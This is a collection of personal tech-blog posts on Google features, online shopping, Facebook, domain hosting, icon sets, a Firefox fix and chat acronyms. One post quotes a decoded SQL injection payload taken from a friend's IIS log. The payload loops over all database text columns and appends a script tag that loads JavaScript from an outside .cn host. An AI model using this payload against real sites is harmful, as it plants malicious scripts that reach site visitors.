This was an interesting one, I've had about 42 subscribers for months (or there abouts) and then suddenly on Friday I lost nearly half.

I know they're not big numbers but I wonder if Feedburner have noticed a glitch in their code.

As I don't follow football I'm probably slow to pick this one up but thought I'd share it, when Googling "Newcastle" I got last/next fixture results so I thought I'd try it for West Brom:

Pretty neat. I wonder when it'll start showing results from the marathon canoeing ;)

I've been sitting on this for a few weeks now -mainly due to my own laziness but I thought I'd finally pad it out a little. It would appear that Google have release a new method of ranking your own results for certain terms:

Once you've promoted a page you'll notice a little green arrow to the right of the title link and the results will come back in this order every time you search on that term while you're logged in.

At the moment I think it's just stored against your profile but I would imagine at some point in the future they'll start monitoring what everyone else is promoting and adjusting their results accordingly.

What I'm interested to know about is how it affects SEO, I can't imagine they'll add too much preference to the promotions otherwise we could be in for another Google Bomb situation where your competitors promote or demote your site.

This one made me laugh today, Chris Anderson alerted me to it but you would have thought the MS guys would have picked up on it...

Incidentally, it's the first time I've seen this message on any site...

I've been an advocate of buying goods online for quite some time now but have been astounded at the level of service received recently that leads me to believe that buying online is slowly removing the benefits of buying in a store.

A little background: My camera broke (again) the other day. I've returned this model to Amazon before and wasn't aware that if the item has a problem again, they don't replace it, they just refund the cost. An interesting policy -especially as my problems were not related, but a nice surprise.

As I packaged up my old camera to return (a very painless process I might add) I got looking around for a replacement. Checking out the online reviews, I found my 3 favourites to pottered off to Jessops to check them out. The lady at Jessops was very helpful, pretty much confirming everything I had read online. So it came to deal time, I don't mind paying a little extra in store to get the item the same day and to do a little bartering.

Today was not to be my day though, it turns out the only one left in stock was the show model, normally a good way of getting some extra money off but not this time, it wasn't for sale. Bare in mind this was Saturday, the fastest they could get me the model I want (a mainstream camera not overly in demand) was Wednesday! So off I went home and bought it online on the Sunday. It arrived Tuesday at 9:15! What an exceptional service (thanks UK Digital Cameras).

Then, on Monday evening (around 2100) I ordered my new number plates from Demon Plates expecting them to take a few days to be made and posted (so they should have arrived today) but instead, they arrived on Wednesday! Amazing.

Don't get me wrong, I think stores have a place, its's still nice to pop into a shop and pick up the items you're interested in. There's definitely still something in feeling the item before you buy but service wise online stores are really starting to take over.

All I can say is keep it up guys, you're doing the industry a great service! I hope our ecommerce website owners are as efficient.

I've never really got into Flickr but now I'm using Windows Live Photo Gallery which can automatically upload images for you I thought I'd give it ago. While checking out what the restrictions were on my standard (free!) account I was pleasantly surprised to find out I've actually got a pro account courtesy of BT Yahoo! -Shame I'm leaving them this month ;)

Having been subject to a recent hack myself I can sympathise with one of my mates who had a SQL injection attack succeed on one of his sites earlier today. Admitadly mine was due to poor internal maintanence whereas this is almost a piece of art...

This is an extract from the IIS log file:

This works out to:

DECLARE @T varchar(255), @C varchar(255) 
DECLARE Table_Cursor
CURSOR FOR 
select
    a.name,b.name 
from
    sysobjects a,syscolumns b 
where 
    a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 

OPEN Table_Cursor 
FETCH NEXT 
FROM  Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0)

begin...end 

    BEGIN
        exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://hackersscriptdomain.cn/a.js></script>''')
        FETCH NEXT FROM  Table_Cursor INTO @T,@C 
    END 

CLOSE Table_Cursor 

DEALLOCATE Table_Cursor

Very nice :) (though I can't condone hacking -no matter how elegant it is!)

p.s. The moral of the story is Always sanitise your strings -it's easy!

Facebook is many things to many people. When it first hit our shores, to me it was one of the coolest things out -mainly because I lost track with a fair number of people that I wanted to get in touch with. No doubt like many others I found looking at other people's photos fairly addictive and lost countless hours seeing what others were up to.

More recently however I've not made the time for Facebook -much to the annoyance of certain friends who still live on the website. To me Facebook has become boring and stagnant, because now I've caught up with most people I lost touch with -and I don't have enough time to play all the games-, what's left?

For quite some time now Stacey has voiced concern over the fact that Facebook encourages people to live in the past -which I agree with. It's not a bad thing catching up with friends you've lost track of but after that what value is there really in Facebook?

Her point really hit home the other day when a particularly unpleasant person from school joined, I suspect they have been a member of Facebook for quite some time but nobody bothered looking them up. I know some people consider Facebook as a competition of "who knows the most people" but to me I've only really ever added friends, admittedly there are one or two loose "friend" connections in my list of friends but I'd happily enjoy a pint with any of them. So when this particular person added me I decided not to accept, since then I've been bombarded with repeat requests and messages asking me to add them.

It sounds silly but I find it a little hypocritical adding someone to my "friend" list who I have no affiliation with or desire to get to know. My reasoning is not that unjustified as I and a few other people I know have met up with the person in question since leaving school in the hope they've changed and sadly everyone agrees that they've not changed in the slightest. So why would I want to appease their conscious?

We've started to use Google Docs to manage the workload of our remote workers -which I have to say works pretty well, logging on today I was really impressed to see that Google Docs had gone all out to pimp out their interface.

I think it's really nice so for those of you who don't use Google Docs click the image to see the results :)

It's little things like the heart instead of the star...

Ok, back to managing peoples time :P

I recently signed up for a new Google account for client related stuff and ever since have found that the entire user interface has changed into another language -I would guess Greek or Polish but I don't really have a clue. I don't know why it started like this as I sure as damn-it chose English but it makes me laugh every-time I see it.

I've even tried changing all my settings to English but Google just doesn't want me to read what it's saying -luckily I'm familiar enough with the interface that I can navigate around it without needing to know what it's saying ;)

Thanks to Chris Anderson for this one -shame I missed it the day he posted it due to mega issues but worth sharing:

1. Goto Google (www.google.com incase you're that uneducated :P)
2. Type into the search "find Chuck Norris"
3. Click the "I'm feeling lucky button"
4. Enjoy

Well it made me smile at least

*Goes off to find a good CN movie*

After our recent issues with Fasthosts (or as they are now fondly referred to in the office - Farcehosts) I have made the conscious decision to move away from them completely over the forthcoming months (probably years). We no longer have any clients on their hosting platform but we still have circa 300 domain names registered through various accounts through their sister company UKReg.

Due to the authority's charges, we can't just transfer all these domains away as it'd cost us a fortune (and possibly one we can't recoup) so I'm going to do it as they expire. In our search to find an alternative provider someone suggested we check out the new kid on the block - Heart Internet. According to those in the know on Underscore they are a bunch of guys who used to work at 1&1 and decided they could do it better.

So far I've found their service to be great -and value wise they're cheaper than most providers which is a bonus. As with most of the providers these days it's all managed through their easy to use online control panel which is pretty straight forward. If you're on the lookout for great value or cheap domain names give Heart Internet a look.

BTW if you're wondering where Heart Internet's .co.uk domain names from 9p is, check under the transfer fees. Still £2.59 is a great price for any .co.uk!

In a somewhat random chat with Chris Anderson today I decided that I wanted to obtain the IP address 80.08.13.55 (IP6) or even better 53.180.0.8 (both timeout atm). It got me wondering whether you can you purchase a specific IP like that and whether that could be the new trend...

Chris wants felt 7.107.73.45 was more appropriate for our American comrades but I think that’s a little boring...

For those of you who didn't make it to school, type it into your calculator without the periods and see what you get (note my primary school calculator example -I'm returning it to it's roots)...

See it yet?

No? Turn it the other way up:

This has to be my laziest post yet, it's just a paste of the press release but I'm to excited at the thought of free beer to re-write it ;) -Hope to see you there, shout if you're going.

Chinwag Joins Forces With Top Software And Media Brands For Supersized Digital Networking Party

The UK digital media industry is gearing up for a soiree of grand proportions in July at Chinwag's Big Summer 07 networking party (http://bigsummer07.chinwag.com).

Giving the bash an extra boost - and supporting the inventive and fun entertainment programme, plus the lavish refreshments on site - are Chinwag's three party partners: Adobe (http://www.adobe.com/), Channel 4 (http://www.channel4.com/), and Purple (http://www.purple-consultancy.com/).

The free event, to be held at the historic Imperial College Union in Kensington, London, will be the largest-scale bash of its kind for people working in the digital sector, with the party encompassing 5 large rooms and the enclosed quadrangle, allowing a total capacity of 2,000 revellers at any one point in time.

Hosted by new media community Chinwag, it will to bring together professionals in web, mobile and other interactive media to make useful connections, celebrate the return of the new media sector as a sustainable growth industry, and mingle in style in the sunshine of a London summer's evening.

Dominic Eames, editor, Online, at Channel 4 New Media said: "Channel 4 is always open to new ideas from the New Media community and is delighted to support Chinwag in this event.

Toby Thwaites, managing director of Purple said: "Having worked with the team at Chinwag for a number of years I am delighted that Purple are able to support what will undoubtedly be the Digital event of the Summer"

Sam Michel, Chinwag MD and founder said: "This is a great opportunity for the new media industry to do some "First Life" networking. The UK scene is buzzing with life, and it's great to bring everyone together en masse."

"The party takes place on July 5. More details will be released in the forthcoming weeks with promotional activities, partnership with brands, and innovative use of social networking tools and technologies such as Facebook and Twitter included in the mix."

More information & registration: http://bigsummer07.chinwag.com

About Chinwag

Chinwag aims to be a connecting rod for ideas and talent across the new media industries. Having provided Internet-based community forums, websites, email newsletters and consultancy for the new media sector since 1996, its website (http://www.chinwag.com) will be re-launched in July, aggregating information for the digital industries and updating its community focus. In February 2007 the Chinwag Live events series (http://live.chinwag.com) was launched. Topical panel discussions founded to cast light on issues and trends affecting the new media industries, the monthly sessions have also gone on tour to Internet World and Ad:Tech.

In addition, Chinwag publishes Chinwag Jobs (http://jobs.chinwag.com), the leading recruitment website for online marketing, digital media, web, design and technical positions. It is used by the BBC, MySpace.com, Yahoo!, Amazon, Vodafone and the majority of recruitment agencies who place staff in the sector.

Chinwag - Connecting New Media People

Site: http://bigsummer07.chinwag.com

I found out this morning that my Joost account has been credited with 999 invites (I kid you not) so feeling all summery I thought others might want to join in the Joost fun and I’d share them around a little.

I’ve only got 999 Joost invites so it’ll have to be strictly on a first come –first served basis (as if I’m ever going to get rid of them all haha).

I don’t want anything in return but if this offer is too generous or you feel I’ve helped you in the past and you’re debted to me, why not click some of the Google Adverts –or even better, make a donation to our 96 mile canoe race (the Cheshire ring race) in aid of the Samantha Dickson Brain Tumour Trust, Multiple Sclerosis Society, CLIC Sargent and Mac Millan Nurses, I like to think of it of a “You scratch my back, I’ll scratch your back” arrangement.

Regardless of whether you want to donate to our worth cause or not, drop me an email (or leave me a comment) and I’ll send an invite over ASAP.

For more information on our 96 mile canoe race (the Cheshire ring race) in aid of charity go to www.paddlathon.co.uk or read my blog posts about the Cheshire ring race.

Awesome, I had my first non-friend/family cross-blog comment the other day (very exciting stuff!) so I decided to check out the referring site and there, in all it's glory was a link to by blog! Seeing as one of the primary aims of this blog was to help others -even if it was just with simple information that other's may consider trivial- I'm over the moon! (Yep, it's the simple things in life that please me!)

So thanks to -=DeathToSpam=- whoever you are that made my day :)

If you don't believe me, check out the "Noteworthy Dev-Blogs" list at http://aspnyc.blogspot.com/ personally I don't feel I'm worthy enough to be listed next to Phil Winstanley and Scott Guthrie but it's certainly an honour!

If you've linked to my blog I'd love to hear from you and see what you're saying.

After a few months of intensive swapping, I've finally completed something -my collection of free deliveries from Icon Buffet. If you need any let me know, I may have some deliveries to spare. Now I just need to find somewhere to use them!

Here are the 57 icon sets I've got:

I'm not a fan of YouTube but I was sent this video this morning and it made me smile, I must find out when the choir's next in town...

Since updating Firefox to v1.5 I had a number of extensions that I couldn’t remove from the list because they were greyed out, this was somewhat irritating as I had the later versions installed too and so I was getting duplicates (see below)

Today I decided to see if I could resolve this, it turns out removing these ghost/incompatible extensions is fairly simple:

1. Close any instances of Firefox you have open
2. Navigate to %Documents and Settings%\Username\Application Data\Mozilla\Firefox\Profiles\*.default\
3. Backup the file: “extensions.rdf”
4. Open “extensions.rdf” in a text editor i.e. Notepad or TextPad
5. Find the line that starts with: <RDF:Seq RDF:about="urn:mozilla:item:root">

Below is a list of the extensions you have installed, I can only talk about my case but the ones that were greyed out extensions in Firefox were the ones that had a resource value of a URL rather than “urn:mozilla:item:{Guid}”. My file looked like this:

Simply delete these lines from the file, save it and restart Firefox. All should be back as it should be now…

While fitting my new chipset cooler fan this morning I was checking out an error message on Google (which as it turns out I knew the answer to) and I was presented with a CAPTCHA image –I guess Google’s getting a lot of automated requests. This was using the built in Firefox search box but then I got it again on the PC using Google’s search box!

Tired of having to work out how many icon sets I’ve got I decided I would write a list here and update it, anyone that wants them let me know :) -ones that are 0 mail me for the zip…

Anaheim Alert (8 vigilantly informative icons)
5 deliveries remaining

Blinksale (25 invoicing-made-easy icons)
3 deliveries remaining

Farewell Snow (10 snowy creations)
4 deliveries remaining

Manhattan Metroplex (8 icons with a very short commute)
5 deliveries remaining

Manhattan Night Life (10 icons living it up.)
5 deliveries remaining

Manhattan Smilies 1 (8 dramatic mood swings)
5 deliveries remaining

Manhattan Veggie (7 farm-fresh icons)
5 deliveries remaining

Marseilles Breakfast (8 icons fortified with vitamins and iron)
5 deliveries remaining

Marseilles Cafe (7 freshly-ground icons)
4 deliveries remaining

Modena Alfanumerico Molten (39 letters and numbers, camerata!)
5 deliveries remaining

Modena Simbolo (45 metallic symbolic frolics)
0 deliveries remaining

Oslo Atmosphere (9 happy weather icons)
1 delivery remaining

Oslo Easter (12 icons for Pascha Resurrectionis)
5 deliveries remaining

Oslo Finance (Get your Euro on! 12 icons)
0 deliveries remaining

Shanghai Tech (Get it? 15 icons...)
2 deliveries remaining

Shanghai Tech Smilies (Whoa! 36 smilies?)
1 delivery remaining

Taipei Night Market (14 Asian-esque icons)
3 deliveries remaining

Taipei Plastic Primates (18 days in the life of a plastic monkey)
1 delivery remaining

Tower Grove Elementalist (8 icons conjured up to do your bidding)
5 deliveries remaining

Tower Grove Promenade (11 iconic park fixtures)
4 deliveries remaining

For those of you not familiar with Icon Buffet, they offer free sets of icons at www.iconbuffet.com

Ones I'm missing:

• Alexandria Architecture
• Alexandria Atmosphere
• Dresden Tournament
• Durango Research
• Helsinki Hi-Fi
• Mallow Buzz 1
• Mallow Buzz 2
• Manhattan Finance
• Manhattan Smilies 2
• Manhattan Symbol
• Modena Alfanumerico Cold
• Modena Alfanumerico Cool
• Shanghai Tech Vector
• Shanghai Toolbox
• Taipei Buddies 1
• Taipei Buddies 2
• Taipei Monkey
• Tower Grove Melee
• Tower Grove Wedding

Having been chatting on the net for a long time, I use internet acronyms in most of my day-day conversations over instant messengers (IMs). When you get used to them they're massive timesavers but before then it must seem like they're leaving out a lot of letters -producing gobbledy goop! Although some acronyms are phonetically based, many are are not and often confusing, so sparked by a number of people new to IMs constantly stopping me and asking what it meant (so not making it a timesaver at all while I either typed it out or found a dictionary of acronyms) I decided I would overview a list of acronyms that I use on a regular occasion as a reference point, I may add more later and I hope its of use to someone else out there (please note some of these are just ones that I've made up/use to aid development talk).

General

gtg

Got To Go

brb

Be Right Back (less than 5mins)

bbiab

Be Back In A Bit (5 - 15mins)

bbiaw

Be Back In A While (15mins +)

b

Back

wb

Welcome Back

ty

Thank You

yw

You're Welcome.

atm

At The Moment

ttyl

Talk To You Later

styl

Speak To You Later

cya

See You

cu

See You

afaik

As Far As I Know

afaiaa

As Far As I Am Aware

afaiac

As Far As I'm Concerned

afaics

As Far As I Can See

afaict

As Far As I Can Tell

b/c

Because

w/

With

w/o

WithOut

g/f

GirlFriend

b/f

BoyFriend

gl

Good Luck

omg

Oh My God

faq

Frequently Asked Question(s)

nm

Never Mind

n1

Nice One

n2s

Needless To Say

nn

Night Night

n00b

A inexperienced and / or ignorant or unskilled person (especially used in computer games)

nmp

Not My Problem

nmj

Not My Job

pwned

Beating / Defeating / Outclassing someone

lol

Laugh(ing) Out Loud

k

Ok

btw

By The Way

lmao

Laugh(ing) My Ass Off

wrt

With Regards To

Ones I don't tend to use but I frequently see

wtf

What The F***

wth

What The Hell

fo

F*** Off

fk

F*** Knows

fa

F*** All

sfa

Sweet F*** All

ffs

For F***'s Sake

po

P*** Off

Technical

w/s

Web Service

se

Search Engine

seo

Search Engine Optimisation

Smileys

:)

Smiley / Happy

:D

Mega Happy

:(

Sad

;)

Winking

:P

Sticking Toungue Out

:o

Surprised

:|

Disappointed

:S

Confused / Worried

:#

Don't Tell Anyone

Crying

>:(

Annoyed

:@

Angry

|-)

Sleepy / Tired / Yawning

Actions

When a phrase is contained in <> it generally refers to an action the user is doing

<g>

Grin

<bg>

Big Grin

<vbg>

Very Big Grin

<vbeg>

Very Big Evil Grin

When a is contained in >< it means the user is referring to himself
i.e. >Thinks its too late to be writing an article<

It may also be worth checking out: Google as there's many more complete dictionaries out there!